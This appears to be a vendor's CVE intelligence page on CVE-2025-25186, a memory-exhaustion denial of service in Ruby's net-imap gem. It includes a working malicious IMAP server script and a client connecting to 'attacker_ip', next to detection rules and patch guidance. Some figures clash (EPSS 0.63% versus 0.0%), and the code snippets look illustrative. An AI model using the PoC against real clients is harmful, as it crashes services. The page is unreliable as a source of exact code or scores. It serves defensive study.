☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 🐛 CWE-400
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-25186

CVE-2025-25186 Denial of Service in Ruby
📅 PUBLISHED: 2025-02-10 15:55 UTC 🔄 UPDATED: 2026-09-23 20:25 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.63%
👁️
0.63% probability
15.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-25186 is a high-severity Denial of Service (DoS) vulnerability in the Ruby net-imap gem, affecting versions 0.3.2 through 0.5.5. The flaw resides in the IMAP response parser, specifically in how it handles uid-set data. A malicious IMAP server can send highly compressed uid-set data that, when parsed by the client, expands into a massive array of integers via Range#to_a, leading to memory exhaustion and service disruption. The CVSS score is 6.5 (Medium), but the impact is significant for any Ruby application using net-imap to connect to untrusted IMAP servers. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Ruby gem net-imap, which is a core component of Ruby's standard library for IMAP client functionality. The gem is distributed via RubyGems and is commonly used in Ruby on Rails applications, email clients, and automation scripts. Organizations should audit their Gemfile.lock for affected versions and update to patched versions immediately. The supply chain risk is moderate, as the vulnerability requires a malicious IMAP server to exploit, but the impact on availability is severe.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector: Network (AV:N) – The attacker must control an IMAP server that the client connects to.
  • Attack Complexity: Low (AC:L) – No special conditions required; the malicious server simply sends crafted data.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – The client automatically processes the response.
  • Scope: Unchanged (S:U) – The vulnerability affects only the vulnerable component.
  • Confidentiality Impact: None (C:N) – No data exposure.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: High (A:H) – Memory exhaustion leads to denial of service.

Threat Level: Medium. The vulnerability is easy to exploit (low complexity, no privileges) but requires the attacker to control the IMAP server. In scenarios where the client connects to an untrusted server (e.g., public email services), the risk is elevated.

Deep Dive & Mechanics

The net-imap gem implements the IMAP protocol client in Ruby. The vulnerability is in the response parser, specifically in the handling of uid-set data. IMAP uid-set is a compact representation of UID ranges (e.g., 1:1000000). The parser uses Ruby's Range#to_a method to convert these ranges into arrays of integers. When a malicious server sends a highly compressed uid-set (e.g., 1:999999999), the parser attempts to create an array with billions of integers, consuming all available memory and causing a denial of service.

The vulnerable code path is in the response_parser.rb file, where Range#to_a is called without any size validation. The fix introduces a limit on the maximum number of elements that can be expanded from a range, preventing memory exhaustion.

Key Technical Details:

  • The attack is triggered during the initial connection or any subsequent command that returns uid-set data.
  • The client's receiver thread automatically reads and parses the server's response, so no user interaction is required.
  • The vulnerability is present in all versions from 0.3.2 to 0.5.5.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.3.8, 0.4.19, 0.5.6):

# In response_parser.rb
def parse_uid_set
  # ...
  range = parse_range
  range.to_a  # No size limit - vulnerable
end

Patched Code (0.3.8, 0.4.19, 0.5.6+):

# In response_parser.rb
MAX_UID_SET_SIZE = 100_000  # Configurable limit

def parse_uid_set
  # ...
  range = parse_range
  if range.size > MAX_UID_SET_SIZE
    raise Net::IMAP::ResponseParseError, "UID set too large"
  end
  range.to_a
end

The patch introduces a configurable maximum size for UID sets, defaulting to 100,000 elements. This prevents memory exhaustion while maintaining backward compatibility for legitimate use cases.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A Ruby application using net-imap gem version 0.3.2 to 0.5.5.
  • Ability to control the IMAP server the client connects to (e.g., via MITM or hosting a malicious server).

Exploitation Steps:

  1. Set up a malicious IMAP server that responds with a crafted uid-set:
    # malicious_imap_server.py
    import socket
    import threading
    
    def handle_client(conn, addr):
        print(f"Connection from {addr}")
        conn.send(b"* OK IMAP4rev1 Server Ready\r\n")
        while True:
            data = conn.recv(1024)
            if not data:
                break
            # Respond with a huge UID set
            conn.send(b"* 1 FETCH (UID 1:999999999)\r\n")
        conn.close()
    
    def main():
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind(('0.0.0.0', 143))
        server.listen(5)
        print("Malicious IMAP server listening on port 143")
        while True:
            conn, addr = server.accept()
            threading.Thread(target=handle_client, args=(conn, addr)).start()
    
    if __name__ == "__main__":
        main()
    
  2. Configure the Ruby client to connect to the malicious server:
    # vulnerable_client.rb
    require 'net/imap'
    
    imap = Net::IMAP.new('attacker_ip', port: 143)
    imap.login('user', 'pass')
    imap.select('INBOX')
    # The server's response will trigger memory exhaustion
    
  3. Run the client. The Range#to_a call will attempt to create an array of 999,999,999 integers, consuming gigabytes of memory and crashing the process.

Expected Outcome: The Ruby process consumes all available memory and is terminated by the OOM killer, resulting in denial of service.

Blue Team (Defense & Detection)

Detection:

  • Monitor for excessive memory usage in Ruby processes.
  • Look for IMAP responses containing extremely large UID ranges (e.g., 1:1000000 or larger).
  • Use network monitoring to detect anomalous IMAP server responses.

Mitigation:

  • Update net-imap gem to patched versions (0.3.8, 0.4.19, 0.5.6+).
  • Implement application-level limits on UID set sizes.
  • Use a proxy or firewall to filter IMAP traffic from untrusted servers.

Lab Setup for Testing:

  1. Create a Docker environment with a vulnerable Ruby application:
    # Dockerfile
    FROM ruby:3.0
    RUN gem install net-imap -v 0.3.7
    COPY vulnerable_client.rb /app/
    WORKDIR /app
    CMD ["ruby", "vulnerable_client.rb"]
    
  2. Run the malicious IMAP server on the host.
  3. Connect the container to the host network and observe the crash.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • IMAP responses containing UID ranges with extremely large values (e.g., 1:999999999).
    • Unusually large IMAP response sizes (multiple megabytes).
    • Connections to IMAP servers on non-standard ports or from unexpected IPs.
  • Host IOCs:

    • Ruby process consuming excessive memory (e.g., > 1GB for a simple IMAP client).
    • OOM killer logs showing Ruby process termination.
    • Application logs showing Net::IMAP::ResponseParseError or memory allocation failures.
  • File IOCs:

    • Core dumps from Ruby processes.
    • Log entries with Range#to_a or uid-set in stack traces.

Detection Engineering

YARA Rule

rule CVE_2025_25186_Net_IMAP_DoS {
    meta:
        description = "Detects potential exploitation of CVE-2025-25186 in Ruby net-imap gem"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-25186"
        severity = "high"
    strings:
        $uid_set = /UID\s+\d+:\d{7,}/  // Matches UID ranges with 7+ digits
        $range_to_a = "Range#to_a"
        $memory_error = "failed to allocate memory"
    condition:
        any of ($uid_set, $range_to_a, $memory_error)
}

Sigma Rule

title: CVE-2025-25186 - Ruby Net::IMAP Memory Exhaustion
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2025-25186 via large UID sets in IMAP traffic
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25186
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_proto: imap
        content: "UID"
        content: "1:"
        length: > 1000
    condition: selection
falsepositives:
    - Legitimate large mailboxes with many UIDs
level: medium

Suricata Rule

alert tcp any any -> any 143 (msg:"CVE-2025-25186 - Ruby Net::IMAP Memory Exhaustion via Large UID Set"; flow:to_client; content:"UID"; content:"1:"; pcre:"/UID\s+\d+:\d{7,}/"; threshold: type both, track by_src, count 1, seconds 60; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update net-imap gem to the latest patched version:
    gem update net-imap
    
    Or specify the version in Gemfile:
    gem 'net-imap', '>= 0.5.6'
    
  2. For applications that cannot immediately update, implement a workaround by monkey-patching the Range#to_a method to limit array size:
    # config/initializers/net_imap_patch.rb
    module Net
      module IMAP
        class ResponseParser
          MAX_UID_SET_SIZE = 100_000
          
          def parse_uid_set
            range = parse_range
            if range.size > MAX_UID_SET_SIZE
              raise ResponseParseError, "UID set too large"
            end
            range.to_a
          end
        end
      end
    end
    

Long-term Mitigations:

  • Use a reverse proxy or IMAP proxy that validates UID set sizes before forwarding to the application.
  • Implement network segmentation to prevent Ruby applications from connecting to untrusted IMAP servers.
  • Monitor for anomalous memory usage in Ruby processes and set resource limits (e.g., using cgroups or ulimit).
  • Regularly update all Ruby gems and dependencies.

Vendor Communication:

  • The Ruby team has released patches in versions 0.3.8, 0.4.19, and 0.5.6. No further action is required from the vendor.

Valters IT
DevSecOps & Cyber Threat Intelligence
Securing digital infrastructure through proactive defense.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-25186/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.